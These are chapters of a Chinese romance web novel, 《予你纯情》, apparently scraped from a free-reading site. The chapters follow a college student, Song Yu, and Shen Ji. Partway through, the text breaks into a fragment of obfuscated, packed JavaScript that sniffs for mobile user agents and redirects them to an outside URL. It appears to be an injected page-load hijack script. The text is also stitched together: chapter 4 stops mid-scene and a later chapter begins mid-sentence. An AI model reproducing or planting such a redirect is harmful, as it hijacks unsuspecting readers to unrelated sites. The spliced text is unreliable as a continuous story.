《予你纯情》 1. 绚烂流光 《予你纯情》全本免费阅读 临近下班时间，搁在一旁的包发出一声又一声的震颤，宋妤闭了闭眼，还是伸手将埋在深处的手机挖了出来。置顶的那个头像框动了动，果不其然是宋琴心女士的消息。 [妈妈：地址发你了，下班记得尽快过去。] 对话框里的字敲了又删，最后宋妤还是乖乖回复了三个字。 [知道啦。] 回完消息以后，宋妤打开电脑开始录入今天的数据。一忙起来时间就变得飞快，等她再抬头的时候附近工位的同事们都走得差不多了。 窗外阴沉沉的，时不时传来闷雷滚动的声音。最近的天气有些反复无常，白日里还是艳阳高照的模样，现在黑沉的天幕却似乎随时酝酿着一场暴雨。 宋妤拎上包，一边往电梯外走一边点开手机里的实时天气。预报里显示的数据是晚上九点半开始下雨，现在六点半，宋妤认为三个小时的时间应该她足够应付完这场相亲宴。 或许，需要的时间会更短也说不定。 等待网约车的时间里，宋妤开始百无聊赖地刷着手机，指尖在屏幕上飞速滑动，一目十行地掠过那些五花八门的信息。她熟练地点开了微博，象征性地刷了刷每日热搜，汲取了些食之无味的信息以后，点在屏幕上的指尖微微一顿，最终还是切到了那个经常访问的界面。 那个十天半个月都不见得更新一次的账号今日竟然罕见地更新了一条新的博文。宋妤的眸光微动，呼吸在刹那的停顿之后又缓缓平复。 新博文是张图片，一如往常那般，没有任何文字。 那是一张拍得有些模糊的夜景，昏暗的光影之下，喷泉将水花高高扬起。路灯的光亮，街边商店炫彩的霓虹灯带...那些斑斓的色彩轻而易举地融入喷泉的水柱之中，水花飞溅，又轻盈地落在地面，仿佛挂在天幕中的碎星落了下来。 宋妤总觉得照片里的这个角落有些眼熟，她点开图片，将角落里拍到的那个店铺一点点放大。炫彩的灯带勾勒出漂亮的花体英文，照片拍得不够清楚，但宋妤还是辨认出了那个单词。 【reencounter】 脑海里浮现出这个单词译义的瞬间，宋妤怔了片刻，失神的瞬间手机差点从掌心里滑落。 网约车适时地到达了公司门口，宋妤终于回过神，握紧背包的系带打开了车门。 上车以后宋琴心女士又发了几条消息过来，宋妤没有立刻点开聊天框，而是侧着脸望着车窗边飞逝的景物发呆。车子经过中心广场的时候，有什么炫彩的流光从宋妤的视野中一闪而过。 那个很短的瞬间，却已经足够将那条博文图片中模糊的光影在宋妤眼前清晰地重现。 “师傅先停一下！”宋妤下意识喊出声。她焦急地转身去寻找，很快便看到了音乐喷泉旁那家有着炫彩灯牌的咖啡厅。 宋妤的目光一瞬不瞬地落在那几个流光溢彩的灯带字母上，是那样清晰的光，可那些颜色却仿佛在眼前晕开一般，让她始终看不分明。 前座的司机转头过来问：“你要在这下吗？” 放在膝上的手机同时震动起来，是宋琴心女士的电话。估计是见她久久不回消息，所以打了电话过来。 宋妤有些如梦初醒般抬起了头，对司机师傅露出个歉意的笑：“不下，继续往前开吧。” 宋琴心女士的电话挂的太快，宋妤没来得及接，她原想回拨，但思考了片刻后还是选择先点开了不断跳跃的对话框。 宋琴心女士发了好几条消息，大抵就是告诉她一定要认真对待这场相亲宴。 心里繁杂的思绪乱成一团，宋妤最终还是只回了个[好的。] ... 约好的地点是在市中心一家新开的法餐厅，宋妤在进去以前，去了躺洗手间。给自己留出时间又一遍在脑海中预演着面对相亲对象时要直接摊开来说明白的话。 很抱歉，来这一趟实在是无法推脱母亲的要求。但目前，又或者说今后都不会有寻找另一半共度未来的打算。 如果对方还算和善的话，应该能顺顺利利地结束这顿晚餐。如果对方觉得遭到戏耍，宋妤也做好了被指着鼻子骂浪费他人时间的准备。 相亲，这确实是宋妤不太擅长应付的场合。她深吸了口气，掏出包里的唇膏对着镜子补了补口红，便抬步离开了洗手间。 这时候宋琴心女士正好来了消息，说对方已经到了，就在餐厅里等她。 宋妤一边回着消息，一边跟着侍者进了餐厅。 [妈妈：小赵见过你的照片，应该能认得你，你进去应该就能看到他。] 收到这条消息以后，宋妤下意识抬起了头，目光触及某个身影的瞬间，她径直愣在了原地。 不远处的餐桌前，穿着烟灰色西装的男人单手执着文件，衬衫的扣子一丝不苟地扣到了最上面。他的身形修长，黑色的碎发落在额前，漆黑如墨的眼眸掩在金丝眼镜之下。他垂着眼，专心致志地盯着手中的文件。 宋妤站在那里，却看不分明曾经熟悉的桀骜与傲然是否仍存于那双眼中。 似是察觉到了门边的动静，那双眼不期然地抬起，和宋妤直直望向他的目光相遇。 四目相对的瞬间，宋妤却下意识移开了视线，心脏在胸腔内发出沉闷的响动，她的指尖微颤，紧紧攥住了自己的衣角。 这一刻，宋妤想要立刻转过身狼狈地夺门而出。 她的刚有动作，前方忽地响起了一个陌生的声音，宋妤的耳边仍在闷鸣，她好像听到了有人在叫自己的名字。待她愣愣地抬起眸，看到了那个正展臂朝她挥手的身影。 一个圆脸圆眼的男人迎了上来：“你好，你就是宋妤小姐吧。我是赵恒，阿姨应该跟你说过。我定的位置在就在那里，带你过去。” 宋妤仍旧维持着那个微微仰头的动作，她的视线落在赵恒身上，看似专注地盯着那开合的口型，目光却是空的。 赵恒做出了个邀请的动作，宋妤却没有动。他有些疑惑，正要开口询问时，才见宋妤如梦初醒般朝他点点头，挪动了步伐。 这样的时刻早已不容得宋妤转身逃避，她只能硬着头皮跟在赵恒身后。宋妤低着头，贝齿深陷进唇肉，努力控制住自己有些失控的心跳。 没关系，餐厅这么大，入座以后应该就不会再看到他了。就这样安静地结束，安静地离开。 宋妤原本是这样在心里安慰自己的，可当赵恒的步伐比她预想中更早地停了下来以后，宋妤的心中忽地有了不好的预感。 她缓缓抬起头，视线再次直直撞入了那双熟悉的眼睛。 这一次，宋妤清晰地看清了那双眼，墨色的瞳孔中透着冷淡和疏离。他的眸光浅淡，仅仅与宋妤对视了一眼，便平静地移开了视线。 冰冷得不带一丝温度，从此见面不识。 就像当初分开时说的那样。 赵恒还在一旁说着些什么，宋妤好像听见了，又好像没听清，就那样浑浑噩噩地在赵恒替她拉开的位置上坐下。 餐厅的空调温度很舒适，室内有淡淡的樱草香氛气息，耳畔是柔和的抒情乐曲，宋妤却觉得坐立难安。她的四肢仿佛被看不见的藤蔓攀缠，那藤蔓的尖刺束缚住她，又穿过皮肉刺进胸腔，紧紧地扼住了那颗脆弱的心脏。 “宋小姐，宋小姐？” 赵恒的手掌在宋妤面前晃了晃，让她从无所适从的惘然中暂时抽身。 赵恒见她回神，便继续笑着道：“我的情况基本就是这样，还有些什么是你想要了解的吗？” “我...”宋妤的喉间干涩，那些曾在脑海中预演数遍的话在脑海之中流转，她却没有力气吐露分毫。 身旁不远处忽地传来一声极低的笑，带着淡淡的讽意。 宋妤下意识转头朝那个方向看过去。 沈霁的手指搭在纸张的边缘，指节微动，一下一下地轻敲桌面。感受到宋妤的目光以后，他抬起头，就这样直直地朝宋妤望来，唇角边带着讽意的弧度却未收起。 沈霁那张好看的薄唇动了动，却没有发出声音。 宋妤却轻易地通过他的口型看清了那几个没有被发出声音的字节。他说的是: < 2. 榆城盛夏 《予你纯情》全本免费阅读 九月份的榆城依旧炎热，毒辣的日头明晃晃的挂在天空，燥热的空气如影随形。条件允许的话，没人愿意离开凉爽的空调房内去到室外大汗淋漓。 宋妤很怕热，难得下午没有课，她只想安安心心地待在寝室里追追剧。室友何苑正躺在床上刷手机，不知怎地，她忽然一个鲤鱼打挺地坐起了身，动作敏捷地从上铺的床榻上翻了下来。 “小妤，重磅消息！今天下午信科院那边有场篮球赛，”何苑举着手机贴近了宋妤，“信科院帅哥一定多，听说那个很帅的篮球社社长也在，还有那个超帅超帅的沈霁也会去！这个热闹我必定不能错过啊！” 何苑是个天生的社交恐怖分子，人脉四通八达，遍布了南大各个院系，号称八卦一姐。为了将兴趣爱好充分发挥到极致，何苑更是加入了学校的记者团。 “你忘了吗小妤，那个篮球社社长就是我之前跟你提过的那个，我还拍过他不少投篮的帅照给你看呢！”何苑夸张地晃了晃宋妤的肩膀。 和何苑天生爱凑热闹的性子完全相反，别说是那些个从没打过交道的信科学长，宋妤连同专业一些不太相熟的同学都还记太清。加上她有点轻微的脸盲，对何苑口中那个投篮很帅的篮球社社长宋妤真的没有一点印象。 顶着何苑灼灼的目光，宋妤最终还是硬着头皮道：“好像有点印象，就...就记得还挺帅的。” “是吧是吧！”何苑亮着眼睛继续向宋妤发出邀请，“那小妤宝贝，你下午陪我一起去看信科的篮球赛吧！” 宋妤望了望窗外毒辣的太阳，下意识想要拒绝。她还未开口，摆在书桌上的手机震了震，微信消息的对话框弹了出来。宋妤点开消息看了看，转头对着何苑叹了声：“我去不了，下午要出去找组员做选修课的小组作业。” 何苑拍了拍宋妤的肩膀表示理解，并大声承诺着一定会多带几张帅哥的照片凯旋而归，顺便和宋妤约好午休过后一起出门。 宋妤午休起来收拾完东西以后，何苑却还瘫在床上睡得正香。她叫了何苑床前叫了几声，一个乱糟糟的脑袋从窗帘中探了出来。何苑打了个哈欠对她道：“小妤，我现在还是好困，我再睡会儿再出门，你先出去吧。” “好吧。”宋妤点点头便准备转身出门，她对这个结果不算意外。 打开寝室的门，扑面的热气立刻侵袭了宋妤的皮肤，即使撑了遮阳伞，还拿了个手持小风扇，依旧无法阻止额头和后背不断升腾的热意。 约好的地点是西区的游兰餐厅，离寝室并不算太近，徒步走到那里时，宋妤的额发已经沾染了些湿意。 这门课程是公共选修课，寝室四人里只有宋妤选了这门课，而上这门选修课时，宋妤面对的是来自不同院系许许多多从未见过面的陌生同学。 平日里只是上课倒还好，安静上课，安静离开，也没有其他的社交要求。可一到了小组作业，那可怕的社交弊端立刻就显现出来了。这门课的老师还采用了随机分组的方式决定小组作业的成员，而宋妤和另一位小组作业的成员昨天才在课程群里加上微信。 约好的地点是游兰餐厅的一家冷饮店，这个时间点人不算太多，宋妤加快脚步，抱着电脑推门进去。冷气驱散周身燥热的瞬间，宋妤也微微松了口气。 她走近店内，一只手从斜跨的包包里摸出了手机，一边用目光在店内为数不多的顾客之间逡巡。 “黑色T恤，工装裤......”宋妤抬头向四周张望，终于在店内的角落里发现了符合描述的身影。 那个位置离店门和点餐台都有些远，在那棵挺拔的室内绿植背后，宋妤从这个角度只能看到那个人的背影。她走过去，轻声打了个招呼：“同学你好，请问你是萧远吗？” 斜靠在沙发椅上的人没有动，也没有回话，宋妤绕到了他跟前，才发现这人闭着眼，头上那顶深色的棒球帽遮住了大半眉眼，只余下挺拔的鼻峰和淡色的薄唇在外面，似乎是睡着了。 宋妤有些为难，又叫了几声同学，可面前的人依旧没有动静，微垂着头，呼吸平稳。 宋妤在原地站了一会儿，最后慢吞吞地拉开他对面的椅子坐下。没办法，要她大声叫醒眼前这个人她觉得有些尴尬，要不她先查查资料，等这个人醒来再一起讨论好了。 ... 沈霁昨天通宵到五点，早上还赶了一节赵老头的早八，好不容易挨到中午他上下眼皮都在打架。 下课的时候丁思越还在喋喋不休地告诉他下午的篮球赛什么的，吵得沈霁头疼。 好困，想找个地方睡上一觉，于是沈霁干脆翘了下午的球赛，随便进了一家冷饮店，点好的饮品还没上，他倒先靠着沙发睡着了。 大概是最近太缺觉了，在这样不算好的环境下，沈霁竟然还睡得挺香。意识归复时，耳畔传来了一点轻微的响动。那动静不算陌生，似乎是手指敲过键盘的声音。 刚睡醒，沈霁的头脑还有些懵，睁开眼时，就看到自己对面的位置上不知何时多了个人。 是个穿着蓝色长裙的女生，墨色的长发半扎，垂眼专注地看着电脑屏幕，似乎是察觉到了沈霁的视线，她很快抬起了头，朝沈霁的方向看过来。 沈霁盯着那双偏圆的杏眼：“你......”是谁？ 最后两个字还未来得及说出口，对面的人先一步朝他靠近了些，将电脑屏幕转向了他，道：“你醒啦，我刚刚查了些资料，你看看就确定这个主题下有没有需要完善和补充的地方。” 沈霁顺着她手指的方向低头扫了眼屏幕，映入眼帘的是几个显眼的加粗大字——东方珠宝鉴赏的多元化发展。 沈霁：“......”什么玩意儿？ 见面前人没有回应，宋妤又问了一遍：“怎么样萧同学，你觉得有哪里需要改的吗？” “你叫我什么？”沈霁微扬起眉。 什么小同学？难道是他听错了？话说这人究竟是谁？ “啊？我叫的就是你的...”宋妤一语未尽，放在桌上的手机先一步响了起来。 是备注为‘萧远’，打来的语音通话。 宋妤霎时间愣住，她握着手机，又缓缓抬起头看向坐在她身前不远处的人。 没有拿手机，没有在拨电话。 下一刻，“认错人了”四个大字在宋妤脑海中炸响，她猛地站起身，朝面前人鞠了一躬：“不好意思不好意思，我好像搞错了！” 扔下这句话后，宋妤不敢去看那个人的反应，抱起电脑便一溜烟儿跑远了。 沈霁坐在那里看着那个落荒而逃的身影，有些失笑。他起身欲走时，口袋里的手机震动了两下。是丁思越的消息。 [丁思越：下半场再鸽我你真的会永远失去我！南区体育馆速来!] 沈霁啧了声，还是决定给丁思越那小子 3. 蜚短流长 《予你纯情》全本免费阅读 宋妤结束小组讨论时天已擦黑，原本想直接回寝，但何苑发来消息托她带饭，思考了一秒后，宋妤决定绕路去买那家炒河粉。 提着晚饭回宿舍的宋妤，刚一打开寝室门，何苑便笑嘻嘻地冲过来给她一个大大的熊抱：“最爱你了小妤宝贝，不过你今天怎么这么晚？” “就，有些事情耽搁了下。”宋妤想起那认错人后自顾自输出了半天的乌龙，决定干脆盖过这一段，不再去回忆那尴尬的时刻。 不想，不说，不回忆，相当于什么都没有发生过。 何苑倒也没追问，兴致勃勃地和宋妤分享下午信科篮球赛的见闻，眉飞色舞地描述篮球社社长丁思越扣篮的英姿深深地印在心里。 宋妤一边寻找碗筷，一边应和两声。何苑犹不满足地揽上宋妤的肩：“你知道吗小妤，今天沈霁下半场才赶过来的，那时候那么久没见他上场我还以为今天又看不到了呢，还好我特意挑了个超近的绝佳观赏位，可以拍着胸脯给你保证，他本人真的巨巨巨帅！我还看到他的腹肌了！” “嗯嗯，下次也给我看看。”宋妤熟练地打开平板，点开了一集运动番准备下饭。 何苑一手捏住了宋妤脸上的软肉：“我说宋小妤，你根本没有认真听对不对！” 被戳穿的宋妤连忙告饶，又是蹭蹭又是抱地将何苑哄好。 香香软软的小仙女舍友在怀，何苑当然不会再过多计较。也是，她又不是不知道宋小妤对花痴帅哥这些事情根本没有兴趣。 想着，何苑拖了把凳子过来坐在宋妤身边，跟她挤在同一个桌子上看剧。何苑盯着平板里花花绿绿的各种纸片人看了许久，她实在有些不明白究竟是哪里吸引了宋小妤。 “诶，说真的，小妤宝宝。”何苑煞有其事地凑近了些，“你喜欢什么类型的，我给你介绍一个呗。” 上大学到现在，寝室里除了宋妤以外的三人多多少少地都谈了几个，只有宋妤，从大一入学就单到现在。这姑娘明明干净漂亮又乖乖巧巧，前前后后也有不少男生表露过想要追求的意思，结果恋爱的苗头还未萌芽，便全部被掐灭在摇篮里。 宋妤没有立刻回答，似乎是沉浸在平板的番剧中，没有听见何苑的话。何苑又重复了一遍，宋妤才慢吞吞地回了个还是不了吧。 何苑微叹了声，把目光继续落在了平板上：“你总爱看这些运动番，是不是喜欢运动系的，具体还喜欢什么样的，改天你跟我到体育馆去，现场物色一个crush！” “不要，”宋妤摇摇头，“体育馆人好多，我怕被球砸。” 何苑啧了声，便没有继续再说下去。她知道宋妤似乎暂时没有恋爱的意向，可她还是固执地认为不趁着年轻多谈几个，以后要忙的事情越来越多，哪还有心情再整些风花雪月的故事。 平板上的动漫番剧实在无法吸引何苑的注意力，没过一会儿，她便低下头开始刷手机。点开手机相册后，何苑划拉到好几张下午拍到的运动系男大帅照，其中的沈霁尤其帅得突出。 沈霁身量高大，宽肩窄腰不说，又顶着那么一张恣意俊俏的脸，随便往那里一站都是一道吸睛的风景线，叫人移不开眼。 沈霁在信科院，不，该说是整个南大算是有名的，不少人都知道有这么个人物，长得帅，家世好，还是计科教授老赵的心头宝。 何苑一边在心中感叹，一边刷了刷八卦群里的未读消息，知道了沈霁竟然又分手了。何苑咬着筷子思索，这才想起沈霁的前任好像是外语系的系花安倩薇。安倩薇这个人何苑没有深交过，但却是打过几个照面。那是个妥妥的明艳大美女啊，这两人才谈了没有一个月吧，竟然又分了。 果然像这种来去如风，散漫不羁的大少爷，一般人是绝对hold不住的。这么想着，何苑握着手机幽幽叹了一声。 与此同时，身旁的宋妤发出一声低叹，引得何苑忍不住侧头看她：“你为什么叹气？” “你说这番都过去四年了为什么还不更新下一季，我都快把旧的盘包浆了都。”宋妤放下平板，转身面向何苑，“你呢，你为什么叹气？” 何苑眨眨眼，忍不住又拉着宋妤八卦了一下沈少爷的情史，最后做出总结：“其实沈霁那样的真的挺优秀的，就是当他的女朋友应该挺伤的。不过话说回来，如果有生之年能谈一个那么帅的，就是只谈三天我也乐意啊！” 宋妤正想点头附和两句，忽地就被何苑抓住了手。 “不过，小妤宝宝你这么乖的可千万别靠近像沈霁这种的！”说着说着，何苑又熊抱了上来，“我只想让你享受浪漫的甜，可不想让你尝爱情的苦！” 宋妤被何苑这副煞有其事的模样逗笑了，她拍了拍何苑的背：“我知道啦，肯定不吃爱情的苦。” ... 一回寝沈霁就收拾了衣服往浴室里走，丁思越请吃火锅，沾了一身的味儿，现在难受的很。 宿舍里其他三个人正凑在一块一边闲聊一边上分，杜沧和薛子奇下午没去体育馆，但也从别人那边听了一嘴——沈哥有新情况。 知道问当事人是问不出什么的，杜沧和薛子奇就想着从丁思越这里打探。面对这两小子的好奇心，丁思越仍旧埋头忙着推塔：“我不知道啊，话说你们两只单身狗总操心人家做什么？” “诶诶诶，”杜沧一脸悲愤，“越哥，不带人身攻击的啊！” 丁思越给他的回答是，干脆利落地推掉了他的水晶。 话题的中心人物终于擦着湿发走了出来，薛子奇悄悄地瞄了两眼那双笔直匀称的大长腿，在心中忿忿低语。 沈霁很快察觉了杜沧和薛子奇看自己的表情有些怪，他将毛巾扔到椅背上，漫不经心地问了句：“你俩这么看着我做什么？” 薛子奇勇当出头鸟：“沈哥，你前段时间不是都在忙老赵那个项目吗？作息颠倒昼夜不分的，怎么还有时间找漂亮妹子呢！” 4. 牛奶冰块 《予你纯情》全本免费阅读 周四下午宋妤要进行选修公开课的小组汇报，何苑原本的那节课调了时间，正好有空就陪着她一起去了西梯教室。 这门公开课使用的是最大的教室，临近上课时位置差不多就要坐满了。宋妤和何苑来得晚，只能选前排的位置落座。 趁着授课老师还没过来，宋妤上去拷PPT了，何苑就坐在位置上四处张望。她选的选修课都是小班，统共也就熙熙攘攘二三十个，来这么大的教室里上课还是第一次。 转头的瞬间，何苑的目光落在了教室后排的一个角落，她的眸中立刻闪动起兴奋的光芒。宋妤正好走下来讲台回到座位上，就被何苑一把薅住袖子，示意她往后排的方向看。 顺着何苑示意的方向，宋妤目光落在了后排那个靠窗的位置上。一个穿着黑色连帽衫身形修长的男生趴在位置上睡觉。 宋妤低声在何苑耳边问：“谁呀？” “你竟然还认不得他？”何苑已经被宋妤的脸盲整的没脾气了，好歹她也给宋妤看过不少她精心拍摄的各种帅哥靓照，这丫头愣是一个人的脸都没记住。 宋妤又往后看了两眼，还是没想出那个男生究竟是谁。何苑拉着她坐下，目光跟着往后排看，随即她有些兴奋地拍了拍宋妤的胳膊，压低声音道：“靠靠靠，你知道我又看到谁了吗？是安倩薇！小妤你怎么不早点告诉我沈霁和安倩薇都选了这堂课，我究竟错过了多少！” “哈？”宋妤正欲转头去寻找何苑说的那两个人，授课老师正好在这时从前门进来了，宋妤只好放弃，转身翻开了摊在桌上的书本。 这节课主要的任务就是小组作业汇报，宋妤抽到的号数靠前，很快就要轮到他们组做汇报。 在上一组快要结束汇报的时候，授课老师便示意下一组可以准备了。宋妤和自己的另一个组员对视了一眼，便一齐离开位置走上讲台。 ... 杜沧和薛子奇难得利落地收拾了一番后才出门，没办法，谁让沈哥猜拳输了，要负责这次选修课的小组汇报。丁思越见输家不是自己，理所当然地又翘了课。 沈霁一进教室就趴在桌子上睡了，让薛子奇快到他了再叫他。他关机得太快，是一点也没注意到身旁不远处安倩薇频繁朝这边望来的目光。 杜沧和薛子奇原本好像吃瓜的，可当事人之一就这么态度，让事情一下子变得很无趣。 “要不，你把沈哥喊起来吧。”杜沧大胆提议。 薛子奇白他一眼：“要去你去，我还指着沈哥带我上分呢，不想得罪他。” 两人这边还在推拉，薛子奇不经意地往讲台上瞥了一眼，在看到讲台上那抹清瘦的身影后，原本准备出口怼杜沧的话瞬时淹没在喉间。 杜沧看他突然熄了火，有些疑惑：“你干啥呢？” 薛子奇指着讲台上的那人，转头道：“沧子你看，讲台上那个女生是不是......” 不等薛子奇说出最后几个字，杜沧抢先说出答案：“是沈哥那张校园卡上的女生！” 这时，站在讲台上的人已经打开了演示文稿，调试好麦克风后，女生清亮的声音随之响起。 杜沧和薛子奇还在一边激烈的讨论，全然没有注意到身旁原本趴在桌上睡觉的人不知何时直起了身。 教室桌椅的空间太小，长手长脚的沈霁窝在这个角落根本伸展不开，即使困得要死，也只是闭目养神，根本睡不着。 窗外不知名的小虫仍在高亢的歌唱，室内的冷气不太给力，耳边充斥的虫鸣声反倒给心头更添了一丝躁意。沈霁索性睁开眼直起了身，额头上还带了点趴在桌上压出的红痕。他微眯起眼，视线放在教室幕布上蓝白底色的演示文稿上。看清那几个黑色大字标题的瞬间，一道熟悉的声音紧跟着响起。 “下午好，我们是第三小组的宋妤，萧远。我们的小组汇报论题是《东方珠宝鉴赏的多元化发展》。” 沈霁的视线转而落在讲台上那个穿着浅蓝色格纹裙的女生。她正低头调试着麦，阳光从身旁的窗户中穿过，打在她的身上，白皙的脸庞亮得仿佛在发光。窗缝中隐有一丝微风钻入，女生丝毫没有注意到有一缕乌发被风吹起，调皮地贴在樱色的唇边。室内的空气潮热黏腻，唯有讲台上的那个不一样，干净又清丽，无端地让沈霁联想到了夏日里的牛奶冰。 那抹熟悉的蓝在猝不及防间勾起了沈霁脑海中的记忆，他单手撑着下巴，若有所思地低喃了句：“是她啊。” 杜沧率先发现了身旁的人已经醒来，他正想说话，却先一步发现了沈霁直直落在讲台上的视线。杜沧悄悄偏过头在薛子奇耳边低声道：“我现在也要和越哥统一战线了。” 薛子奇云里雾里：“什么意思？” 杜沧拍了拍薛子奇的肩，深藏功与名。他安分了没有两秒，就转过身去拍了拍沈霁的手臂，兴味的笑意充斥在眉宇间：“诶，沈哥你在看啥呢，也跟兄弟我分享一下呗。”杜沧又用手肘抵了沈霁好几下，他才慢吞吞地把视线收回来，落在了杜沧身上。 沈霁没好气地还给他一个肘击：“赶紧闭上嘴，再过两组就到你了。” 杜沧撇了撇嘴，歪头低声跟薛子奇蛐蛐他。 听到身旁两人提到什么校园卡女孩，沈霁这才忽地响起，那个女生的校园卡还在他这里。沈霁低头在裤兜和包里摸了一圈，都不见那张卡片的踪迹。正想问问身旁的杜沧有没有印象之时，才后知后觉地想起了是丁思越将那张校园卡放进了自己睡衣胸前的衣兜里。 小组汇报真是漫长而无聊，前面几个沈霁还能支着脑袋认真听下去，到后面真的是如坐针毡，躁意和困意在身体里打架。 沈霁摸出手机上了一整节课的分，直到下课铃声响起，依旧没有轮到他的号数。 授课教师走上讲台，先是简单地对今日进行了汇报的几个小组进行了点评，最后道：“需要进行汇报的小组数比较多，其余的小组顺延到下周。” 沈霁叹了口气，指尖在手机屏幕上跳跃，轻松地推掉了敌方水晶。 杜沧和薛子奇在一旁幸灾乐祸：“笑死了沈哥，那你下周也得来，到时候兄弟就不陪你了哈哈哈...” “跟谁稀罕你们似的。”沈霁连眼皮都懒得掀，拎起包示意这两二货赶紧让道。 教室里的人鱼贯而出，湿闷的空气终于开始流动。沈霁腿长，三两步就把杜沧和薛子奇甩在了身后。走出教室门以后，他原想立刻顺着楼梯离开，在想到什么以后，又慢慢停下了步伐，回头朝身后的人群张望。 安倩薇正好在这时候捧着书走了出来，目光在触及沈霁的瞬间便亮了起来。 分手之后，她原本就打算找沈霁再谈谈的，可惜沈霁删掉了她的联系方式，打电话也从来不接。虽然在学校里并不是遇不到沈霁，但沈霁冷硬的态度让安倩薇感到有些气馁，甚至有些失去了当面开口的勇气。可她仍有不甘，花费了那么长时间，她才终于成为了沈霁的女朋友，就这样轻易地放手，她不甘心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914008|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妤随手又从刚才的框里拿了枚硬币，像刚才那样灵活地抛起又利落地接住。她眨眨眼：“这是我的特殊好运仪式，关键时刻开启前祈求一下好运，百试百灵！” 沈霁从宋妤手上拿走那枚硬币，他盯着硬币上的图纹，不知在想些什么。 “好运仪式的话，我也想试试。” 话落，沈霁学着宋妤的动作将硬币抛起，脱手的瞬间发出一声独属金属的脆鸣。 嗒地一声响，硬币落回了沈霁的手背，被盖在他的手心底下。 沈霁抬眸，和宋妤那双漂亮的杏眼对视：“我好像想明白一些事情，做了个决定，也想得到这个好运仪式的加持。你觉得是正面还是反面呢？” 宋妤看了眼那只骨节分明的大手，她没有立刻回答，微侧着头思考，似乎想要让目光穿过沈霁的手背看到压在底下的硬币那般。 “正面吧。”宋妤做出了选择，但又补充了一句，“这是你的决定的话，问我说不定没那么灵验，就算没猜中也不代表加持失败。” 沈霁的眉眼弯了弯：“我的心意不会因为没有得到加持而改变，当然，我还是很想得到好运加持的。” 说着，他抬起了压在硬币上的那只手。两人同时低头，朝手背上的那枚硬币看去。 看到熟悉的数字和花纹，宋妤立刻抬起头对沈霁道：“太好了，是正面，你得到好运加持了！” 沈霁的目光落在宋妤身上，带着点不同寻常的灼热：“嗯，我会得到的。” 宋妤总觉得沈霁这话似乎藏了点别的深意，但她最终没多想：“那我也祝你早日得偿所愿。” 顶楼的贵宾包间里。 三个脑袋紧紧围着一台平板电脑，津津有味地看着屏幕上的监控画面。 薛子奇啧啧两声：“没想到沈哥这么闷骚，他刚才不是很不屑嘛。竟然特地清场带人家姑娘过来抓娃娃。” 贺朝很是新奇地抓着平板：“天，这是何方神圣，我们家沈霁的眼睛都快黏人家身上了！” 丁思越撇撇嘴：“沈霁还真是个笨拙又不解风情的主，这么好的独处机会他只会硬邦邦地杵在那。我就说了，这方面沈霁有很多要向我学习的地方，我等着他以后跪求我。” ... 宋妤和沈霁从六楼下来以后，刚出电梯口就听到了何苑的笑声。她循着声音找过去，看到何苑坐在休息室的沙发声，天性外向的她已经和杜沧打成一片，气氛融洽的说说笑笑。 “你处理好伤口了呀，”宋妤走过去坐在何苑身边，“现在还会很疼吗？” 何苑抱住宋妤的手臂：“不疼啦，都是小伤，很快就能生龙活虎！” 宋妤看了看时间，扶起何苑先是再道了谢后，又表示时间不早了两人该回去了。 沈霁看了看手机，对二人道：“我开了车，送你们回学校吧” 宋妤有些犹豫，虽然她俩骑了一辆电瓶车过来的，但何苑的脚伤不方便，坐电瓶车容易磕碰，确实要是能让沈霁顺道送一程就好了。但是把小苑一个人放在都不算熟悉的环境下，宋妤又觉得不太合适。 沈霁看出她的为难：“你是骑了车过来吗？” 见宋妤点头，沈霁立刻明白了她的难处。他出去打了个电话，回来后对宋妤道：“我有个朋友不跟我们一起，打算先去给女朋友送个东西再回学校。不介意的话你的电瓶车可以借给他，到时候他会开回学校还给你。然后你和你朋友一起坐我的车回去。” 宋妤觉得这是个能够解决两难境地的好办法，但还是问道：“我当然没问题，但是会不会太麻烦你们？” 沈霁摆摆手：“不会。” 达成共识之后，宋妤就扶着何苑跟着沈霁去了车库。宋妤也见到了沈霁说的那位朋友，是个眼熟的人，那位何苑总提起的篮球社社长丁思越。 丁思越从宋妤那边拿了车钥匙，道了声谢并一本正经地保证安全给她开回学校便走了。宋妤扶着何苑，打开了车子后座的门，昏暗的光影中探出两个脑袋，险些吓了两人一跳。 “嘿，你们终于来了！” 宋妤终于看清了那两个挤在后座的人，一个是帮了何苑的杜沧，还有一个不认识的平头男生。 “不好意思啊，我们两都有点晕车，不习惯坐副驾驶。”那个平头男生先带着歉意开了口。 杜沧则是拍着身旁的位置对何苑道：“小苑你坐这里，我们给你留的位置很宽敞，保证不会挤在你。” 沈霁正想对后座两个不停朝他挤眉弄眼的两个混蛋骂一声滚到前面来，宋妤已经扶着何苑让她上了后座：“都是小事，麻烦你们了。” 关上车后座的门后，宋妤转头对沈霁道：“那我就坐前面喽。” 沈霁的唇角弯了一下，替她打开了副驾驶的门，抬手做了个请的动作。 五人就这样一道踏上了回学校的路，沈霁的车子开得很平稳，车内的气息很清新，没有一点窒闷的感觉，车窗开了一点，卷进来的晚风吹起宋妤的额发，没有扎上去的碎发挠得宋妤痒痒的。 有何苑在的地方就不会冷场，后排三人虽然不算熟悉但却能聊得投入，宋妤也会偶尔插两句话。沈霁开车的时候很专注，只有偶尔后排的男生叫他他才会开口说一两句。 宋妤平时也不是多么善于言辞的人，但热闹的氛围下如果她不是最寡言的那个，宋妤反而会下意识开始找话题。 “沈霁，你还记得白巧吗？” 沈霁的脑海里很快浮现出那只雪白大狗的模样：“记得，怎么了？” “收容所那边说有人领养白巧了。我见过照片，感觉是很好的人。”宋妤稍稍往后仰，身体靠在椅背上，“白巧终于有个属于自己的家了。” “嗯，真好。”沈霁看着迷离的夜色，跃动的光影不断在眼前流逝。 属于自己的家。 这样的字眼听上去就很美好。 17. 有多少爱 今年的冬天格外寒冷。学期末时赶的每一个早八都需要宋妤拿出十二万分的毅力用于克服从温暖的被窝里走近寒冷的空气。好在期末考试终于结束，宋妤终于能从宿舍那狭小的木板床挪窝到家中卧室的温暖又宽敞的双人床。 